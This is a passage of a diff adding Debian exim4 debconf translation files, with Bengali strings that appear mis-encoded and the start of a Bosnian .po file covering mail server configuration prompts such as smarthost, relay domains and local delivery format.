+"কোলনগà§à¦²à§‹ দà§à¦¬à¦¿à¦—à§à¦¨ হতে হবে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"যদি smarthost à¦à¦° অথেনটিকেশন পà§à¦°à§Ÿà§‹à¦œà¦¨ হয়, অনà§à¦—à§à¦°à¦¹ করে SMTP অথেনটিকেশন সেটআপ "
+"সমà§à¦ªà¦°à§à¦•à¦¿à¦¤ নোটের জনà§à¦¯ /usr/share/doc/exim4-base ঠডেবিয়ান-উলà§à¦²à§‡à¦–কৃত README ফাইল "
+"দেখà§à¦¨à¥¤"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "রà§à¦Ÿ à¦à¦¬à¦‚ পোসà§à¦Ÿà¦®à¦¾à¦¸à§à¦Ÿà¦¾à¦° মেইল পà§à¦°à¦¾à¦ªà¦•:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"'postmaster', 'root', à¦à¦¬à¦‚ অনà§à¦¯à¦¾à¦¨à§à¦¯ অà§à¦¯à¦¾à¦•à¦¾à¦‰à¦¨à§à¦Ÿà§‡à¦° জনà§à¦¯ মেইল আসল সিসà§à¦Ÿà§‡à¦® "
+"অà§à¦¯à¦¾à¦¡à¦®à¦¿à¦¨à¦¿à¦¸à§à¦Ÿà§à¦°à§‡à¦Ÿà¦° বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦° অà§à¦¯à¦¾à¦•à¦¾à¦‰à¦¨à§à¦Ÿà§‡ রিডায়রেকà§à¦Ÿ করে দিতে হবে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"যদি à¦à¦‡ মানটি খালি রাখা হয়, à¦à¦°à§à¦ª মেইলগà§à¦²à§‹ /var/mail/mail ঠসংরকà§à¦·à¦¨ করা হবে, যেটি "
+"সà§à¦ªà¦¾à¦°à¦¿à¦¶à¦•à§ƒà¦¤ নয়।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"মনে রাখবেন যে পোসà§à¦Ÿà¦®à¦¾à¦¸à§à¦Ÿà¦¾à¦°à§‡à¦° মেইল সেই সিসà§à¦Ÿà§‡à¦®à§‡ পড়া উচিত যেখানে à¦à¦Ÿà¦¿ রিডায়রেকà§à¦Ÿ "
+"করা হয়েছে, অনà§à¦¯ কোথাও ফরওয়ারà§à¦¡ করার পরিবরà§à¦¤à§‡, যাতে à¦à¦–ানে তালিকাকৃত (অনà§à¦¤à¦¤ à¦à¦•à¦Ÿà¦¿) "
+"বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦°à¦¾ তাদের মেইল à¦à¦‡ মেশিন থেকে অনà§à¦¯ কোথাও রিডায়রেকà§à¦Ÿ না করে। à¦à¦•à¦Ÿà¦¿ "
+"'real-' পà§à¦°à¦¿à¦«à¦¿à¦•à§à¦¸ দেয়া যেতে পারে সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডেলিভারির জনà§à¦¯à¥¤"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "à¦à¦•à¦¾à¦§à¦¿à¦• বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€ নামগà§à¦²à§‹ সà§à¦ªà§‡à¦¸ দিয়ে পৃথক করতে হবে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "আগত SMTP সংযোগের জনà§à¦¯ যে আইপি-ঠিকানায় শà§à¦¨à¦¤à§‡ হবে:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"অনà§à¦—à§à¦°à¦¹ করে কমা দà§à¦¬à¦¾à¦°à¦¾ পৃথককৃত আইপি-ঠিকানার à¦à¦•à¦Ÿà¦¿ তালিকা দিন। à¦à¦•à§à¦¸à¦¿à¦® SMTP শà§à¦°à§‹à¦¤à¦¾à¦°à¦¾ "
+"à¦à¦–ানে তালিকাকৃত সকল আইপি-ঠিকানায় শà§à¦¨à¦¬à§‡à¥¤"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr "à¦à¦•à¦Ÿà¦¿ খালি মান দেয়া হলে à¦à¦•à§à¦¸à¦¿à¦® সকল উপসà§à¦¥à¦¿à¦¤ নেটওয়ারà§à¦¡ ইনà§à¦Ÿà¦¾à¦°à¦«à§‡à¦¸à§‡ শà§à¦¨à¦¬à§‡à¥¤"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"যদি à¦à¦‡ সিসà§à¦Ÿà§‡à¦® শà§à¦§à§ সà§à¦¥à¦¾à¦¨à§€à§Ÿ সেবা (à¦à¦¬à¦‚ অনà§à¦¯ কোন হোসà§à¦Ÿ থেকে নয়) থেকে সরাসরি মেইল "
+"গà§à¦°à¦¹à¦¨ করে, আমরা পরামরà§à¦¶ দিচà§à¦›à¦¿ যে আপনি à¦à¦•à§à¦¸à¦¿à¦® ডিমনে বাহà§à¦¯à¦¿à¦• সংযোগ বাতিল করà§à¦¨à¥¤ à¦à¦°à§à¦ª "
+"সেবাগà§à¦²à§‹à§Ÿ ই-মেইল পà§à¦°à§‹à¦—à§à¦°à¦¾à¦® (MUAs) অনà§à¦¤à¦°à§à¦­à§‚কà§à¦¤ থাকে যা ফেচমেইলের মত লোকালহোসà§à¦Ÿà§‡à¦° "
+"সাথে কথা বলে। যখন à¦à¦–ানে 127.0.0.1 পà§à¦°à¦¬à§‡à¦¶ করানো হবে তখন বাহà§à¦¯à¦¿à¦• সংযোগ অসমà§à¦­à¦¬, "
+"কারন à¦à¦Ÿà¦¿ পাবলিক নেটওয়ারà§à¦• ইনà§à¦Ÿà¦¾à¦°à¦«à§‡à¦¸à§‡ শোনা নিষà§à¦•à§à¦°à¦¿à§Ÿ করে দেবে।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "DNS-কোয়েরির সংখà§à¦¯à¦¾ সরà§à¦¬à¦¨à¦¿à¦®à§à¦¨ রাখা হবে (পà§à¦°à§Ÿà§‹à¦œà¦¨à§‡ ডায়াল)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"অপারেশনের সাধারন মোডে à¦à¦•à§à¦¸à¦¿à¦® DNS ঠসà§à¦Ÿà¦¾à¦°à§à¦Ÿà¦†à¦ªà§‡à¦° সময়, à¦à¦¬à¦‚ যখন বারà§à¦¤à¦¾ গà§à¦°à¦¹à¦¨ করে à¦à¦¬à¦‚ "
+"ডেলিভারী করে তখন দেখে। à¦à¦Ÿà¦¿ লগিং à¦à¦° জনà§à¦¯ à¦à¦¬à¦‚ কনফিগারেশনে হারà§à¦¡-কোডেড মানের "
+"সংখà§à¦¯à¦¾ কম রাখতে অনà§à¦®à¦¤à¦¿ দেয়।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"যদি সরà§à¦¬à¦¦à¦¾ à¦à¦‡ সিসà§à¦Ÿà§‡à¦®à§‡à¦° à¦à¦•à¦Ÿà¦¿ DNS পূরà§à¦£ সেবা রিসলভার না থাকে (উদাহরনসà§à¦¬à¦°à§à¦ª, যদি à¦à¦° "
+"ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿ সংযোগ ডায়াল-অন-ডিমানà§à¦¡ বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€ ডায়াল-আপ লাইন হয়), à¦à¦Ÿà¦¿ অপà§à¦°à§Ÿà§‹à¦œà¦¨à§€à§Ÿ "
+"ফলাফল ধারন করতে পারে। উদাহরনসà§à¦¬à¦°à§à¦ª, à¦à¦•à§à¦¸à¦¿à¦® সà§à¦Ÿà¦¾à¦°à§à¦Ÿ বা কিউ রান করা হলে à¦à¦° ফলে দামী "
+"ডায়াল-আপ-ইভেনà§à¦Ÿ শà§à¦°à§ হতে পারে।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"যদি পà§à¦°à§Ÿà§‹à¦œà¦¨à§‡ ডায়াল বà§à¦¯à¦¬à¦¹à¦¾à¦° করা হয় তাহলে à¦à¦‡ অপশন নিরà§à¦¬à¦¾à¦šà¦¨ করা উচিত। যদি à¦à¦Ÿà¦¿à¦° "
+"সরà§à¦¬à¦¦à¦¾ ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿ সংযোগ থাকে তাহলে à¦à¦‡ অপশন নিষà§à¦•à§à¦°à¦¿à§Ÿ করা উচিত।"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "মেইল সারà§à¦­à¦¾à¦° কনফিগারেশন"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "কনফিগারেশন ছোট ফাইলে সà§à¦ªà§à¦²à¦¿à¦Ÿ করা হবে?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"ডেবিয়ান exim4 পà§à¦¯à¦¾à¦•à§‡à¦œ 'unsplit configuration', à¦à¦•à¦Ÿà¦¿ à¦à¦•à¦• monolithic ফাইল (/etc/"
+"exim4/exim4.conf.template) বা 'split configuration' বà§à¦¯à¦¬à¦¹à¦¾à¦° করতে পারে, যেখানে "
+"আসল à¦à¦•à§à¦¸à¦¿à¦® কনফিগারেশনটি /etc/exim4/conf.d/ à¦à¦° পà§à¦°à¦¾à§Ÿ ৫০ টি ছোট ফাইল দà§à¦¬à¦¾à¦°à¦¾ গঠিত।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"আনসà§à¦ªà§à¦²à¦¿à¦Ÿ কনফিগারেশন বড় মোডিফিকেশনের জনà§à¦¯ তà§à¦²à¦¨à¦¾à¦®à§‚লক বেশি মানানসই à¦à¦¬à¦‚ সাধারনত বেশি "
+"সà§à¦Ÿà§à¦¯à¦¾à¦¬à¦², যেখানে সà§à¦ªà§à¦²à¦¿à¦Ÿ কনফিগারেশন ছোট মডিফিকেশনের জনà§à¦¯ à¦à¦•à¦Ÿà¦¿ আরামদায়ক উপায় দেয় "
+"কিনà§à¦¤à§ à¦à¦Ÿà¦¿ বেশি ভঙà§à¦—à§à¦° à¦à¦¬à¦‚ ঠিকমতো মডিফাই করা না হলে ভেঙà§à¦—ে যেতে পারে।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"সà§à¦ªà§à¦²à¦¿à¦Ÿ à¦à¦¬à¦‚ আনসà§à¦ªà§à¦²à¦¿à¦Ÿ কনফিগারেশনের আরো বিসà§à¦¤à¦¾à¦°à¦¿à¦¤ বরà§à¦¨à¦¨à¦¾ পাওয়া যাবে /usr/share/doc/"
+"exim4-base ঠডেবিয়ান-উলà§à¦²à§‡à¦–িত README ফাইলে।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "বহি:গামী মেইলে সà§à¦¥à¦¾à¦¨à§€à§Ÿ মেইলের নাম লà§à¦•à¦¾à¦¨à§‹ হবে?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"বহি:গামী মেইলের হেডারকে অনà§à¦¯ সিসà§à¦Ÿà§‡à¦®à§‡ তৈরি করে দেখানোর জনà§à¦¯ পà§à¦¨:লিখন করা যায়। "
+"যদি à¦à¦‡ অপশনটি নিরà§à¦¬à¦¾à¦šà¦¨ করা হয়, পà§à¦°à§‡à¦°à¦•, জবাব, à¦à¦¬à¦‚ ফেরতের পাথে '${mailname}', "
+"'localhost' à¦à¦¬à¦‚ '${dc_other_hostnames}' পà§à¦¨:লিখন করা হবে।"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail/ ঠmbox ফরমà§à¦¯à¦¾à¦Ÿ"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "হোম ডিরেকà§à¦Ÿà¦°à¦¿à¦¤à§‡ Maildir ফরমà§à¦¯à¦¾à¦Ÿ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "সà§à¦¥à¦¾à¦¨à§€à§Ÿ মেইলের জনà§à¦¯ ডেলিভারী মেথড:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"à¦à¦•à§à¦¸à¦¿à¦® সà§à¦¥à¦¾à¦¨à§€à§Ÿà¦­à¦¾à¦¬à§‡ ডেলিভারী করা ভিনà§à¦¨ ফরমà§à¦¯à¦¾à¦Ÿà§‡à¦° ইমেইল সà§à¦Ÿà§‹à¦° করতে সমরà§à¦¥à¥¤ সবচেয়ে "
+"বেশি বà§à¦¯à¦¬à¦¹à§ƒà¦¤à¦—à§à¦²à§‹ হলো mbox à¦à¦¬à¦‚ Maildir। mbox /var/mail/ ঠসà§à¦Ÿà§‹à¦° করা মেইল ফোলà§à¦¡à¦¾à¦°à§‡à¦° "
+"জনà§à¦¯ à¦à¦•à¦Ÿà¦¿ à¦à¦•à¦• ফাইল বà§à¦¯à¦¬à¦¹à¦¾à¦° করে। Maildir à¦à¦° জনà§à¦¯ পà§à¦°à¦¤à¦¿à¦Ÿà¦¾ ফাইল ~/Maildir/ ঠআলাদা "
+"ফাইলে সà§à¦Ÿà§‹à¦° করা হয়।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"অনà§à¦—à§à¦°à¦¹ করে মনে রাখবেন যে ডেবিয়ানে বেশিরভাগ টà§à¦² ডিফলà§à¦Ÿà¦­à¦¾à¦¬à§‡ আশা করে যে সà§à¦¥à¦¾à¦¨à§€à§Ÿ "
+"ডেলিভারী মেথড হবে mbox।"
diff --git a/debian/po/bs.po b/debian/po/bs.po
new file mode 100644
index 0000000..20bb6ed
--- /dev/null
+++ b/debian/po/bs.po
@@ -0,0 +1,812 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2006-11-01 18:31+0100\n"
+"Last-Translator: Safir Secerovic <sapphire@linux.org.ba>\n"
+"Language-Team: Bosnian <lokal@linux.org.ba>\n"
+"Language: bs\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Ukloniti neisporuÄena pisma iz spool direktorija?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"U exim spool direktoriju /var/spool/exim4/input nalaze se pisma koja još "
+"nisu isporuÄena. Uklanjanje Exima će uzrokovati da ostanu neisporuÄena do "
+"reinstalacije Exima."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Ako se odabere ova opcija, spool direktorij se zadržava, omogućujući pismima "
+"u redu da budu isporuÄena nekad kasnije, nakon reinstalacije Exim-a."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Rekonfiguriši exim4-config umjesto ovog paketa"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+#, fuzzy
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Postavke kod Exim4 su izmještene u zasebni paket, exim4-config. Ako želite "
+"rekonfigurisati Exim4, koristite dpkg-reconfigure exim4-config."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internet stranica; pošta se šalje i prima direktno koristeći SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "pošta se šalje preko smarthosta; prima se preko SMTP-a ili fetchmail-a"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "pošta se šalje preko smarthosta; nema lokalne pošte"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "samo lokalna isporuka; nije u mreži"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ne konfiguriši sada"
+
+# Type: select
+# Description
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Opšti tip konfiguracije pošte:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Odaberite tip konfiguracije mail servera koji najbolje odgovara vašim "
+"potrebama."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistemi sa dinamiÄkim IP adresama, ukljuÄujući dialup sisteme bi u opÅ¡tem "
+"sluÄaju trebali biti podeÅ¡eni da Å¡alju odlaznu poÅ¡tu drugoj maÅ¡ini koja se "
+"zove \"smarthost\" radi isporuke, zbog toga Å¡to mnogi prijemni sistemi na "
+"Internetu blokiraju dolaznu poÅ¡tu koja stiže s dinamiÄkih IP adresa kao "
+"sredstvo zaštite od spama."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Sistem s dinamiÄkom IP adresom može primati vlastitu poÅ¡tu, ili se lokalna "
+"isporuka može u potpunosti iskljuÄiti (osim poÅ¡te za root i postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Da li zaista želite ostaviti poštanski sistem nepodešen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+#, fuzzy
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Dok poštanski sistem ne bude podešen, biti će neispravan i neće se moći "
+"koristiti. Podesiti se može nekad kasnije ili ruÄno ili pokretanjem \"dpkg-"
+"reconfigure exim4-config\" kao root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Naziv poštanskog sistema:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"\"mail name\" predstavlja domain name korišten za \"qualify"
+"\" (kvalifikaciju) mail (poštanskih) adresa koje nemaju domain name."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Ovaj naziv će takođe koristiti drugi programi. Trebao bi biti jedinstven, "
+"potpuni domain name (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Na primjer, ako je mail adresa na lokalnom raÄunaru foo@domain.example, onda "
+"bi ispravna vrijednost za ovu opciju bila domain.example."
+
+# Type: string
+# Description
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Ovaj naziv se neće pojavljivati na Od: stavkama odlaznih pisama ako "
+"ukljuÄite ponovno upisivanje."
+
+# Type: string
+# Description
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Druge destinacije za koje se pošta prihvata:"
+
+# Type: string
+# Description
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Molim unesite spisak razdovojen taÄka-zarezom domena primalaca za koje će se "
+"ovaj sistem smatrati konaÄnim odrediÅ¡tem, osim lokalnog hostname-a (${fqdn}) "
+"i \"localhost\". Ove domene se obiÄno nazivaju \"lokalne domene\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"UobiÄajeno je da se sve lokalne domene tretiraju isto. Ako su a.example i b."
+"example lokalne domene, acc@a.example i acc@b.example će biti dostavljena "
+"istoj konaÄnoj destinaciji. Ako želite da se razliÄiti lokalne domene "
+"tretiraju razliÄito, trebate urediti konfiguracijske datoteke poslije."
+
+# Type: string
+# Description
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domene za koje će se isporuÄivati poÅ¡ta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Molim unesite spisak razdovojen taÄka-zarezom domena primalaca za koje će "
+"ovaj sistem prenositi poštu, na primjer kao zamjena MX ili mail gateway. To "
+"znaÄi da će ovaj sistem prihvatati poÅ¡tu za ove domene odsvuda sa Interneta "
+"i isporuÄivati ju u skladu s lokalnim pravilima isporuke."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Ne stavljajte lokalne domene ovdje. Možete koristiti džokere."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "MaÅ¡ine za koje će se isporuÄivati poÅ¡ta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Molim unesite spisak razdvojen taÄka-zarezom opsega IP adresa za koje ovaj "
+"sistem automatski isporuÄivati poÅ¡tu, funkcioniÅ¡ući kao smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Trebate koristiti standarndi adresa/prefiks format (npr. 194.222.242.0/24 "
+"ili 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Ako ovaj sistem neće biti smarthost bilo kojeg raÄunara, ostavite ovo polje "
+"prazno."
+
+# Type: string
+# Description
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Vidljivi domain name za lokalne korisnike:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr "Ova opcija služi za prikrivanje lokalnog naziva poštanskog"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP adresa ili naziv raÄunara odlaznog smarthosta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
